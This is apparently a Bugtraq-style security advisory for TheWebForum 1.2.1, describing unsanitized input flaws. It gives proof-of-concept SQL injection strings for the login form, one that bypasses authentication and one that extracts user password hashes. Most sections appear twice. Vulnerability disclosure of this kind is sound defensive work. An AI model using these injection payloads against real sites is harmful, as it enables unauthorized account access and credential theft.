TheWebForum Multiple Input Validation Vulnerabilities
BID:16161
Info
TheWebForum Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 16161 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 06 2006 12:00AM |
| Updated: | Jan 06 2006 12:00AM |
| Credit: | Aliaksandr Hartsuyeu is credited with the discovery of these issues. |
| Vulnerable: |
TheWebForum TheWebForum 1.2.1 |
| Not Vulnerable: | |
Discussion
TheWebForum Multiple Input Validation Vulnerabilities
TheWebForum is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials and allow an attacker to control how the site is rendered to the user. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.
TheWebForum is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials and allow an attacker to control how the site is rendered to the user. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.
Exploit / POC
TheWebForum Multiple Input Validation Vulnerabilities
An exploit is not required.
The following proof of concept examples are available:
Authentication bypass example (SQL Injection):
http://www.example.com/twf/login.php
User Name: a' or 'a'='a'/*
Password: anypassword
Get user's password hash example (SQL Injection):
http://www.example.com/twf/login.php
User Name: a' union select N,password, 3 from users/*
User name will contain password's hash of user with ID=N
An exploit is not required.
The following proof of concept examples are available:
Authentication bypass example (SQL Injection):
http://www.example.com/twf/login.php
User Name: a' or 'a'='a'/*
Password: anypassword
Get user's password hash example (SQL Injection):
http://www.example.com/twf/login.php
User Name: a' union select N,password, 3 from users/*
User name will contain password's hash of user with ID=N
Solution / Fix
TheWebForum Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
TheWebForum Multiple Input Validation Vulnerabilities
References:
References: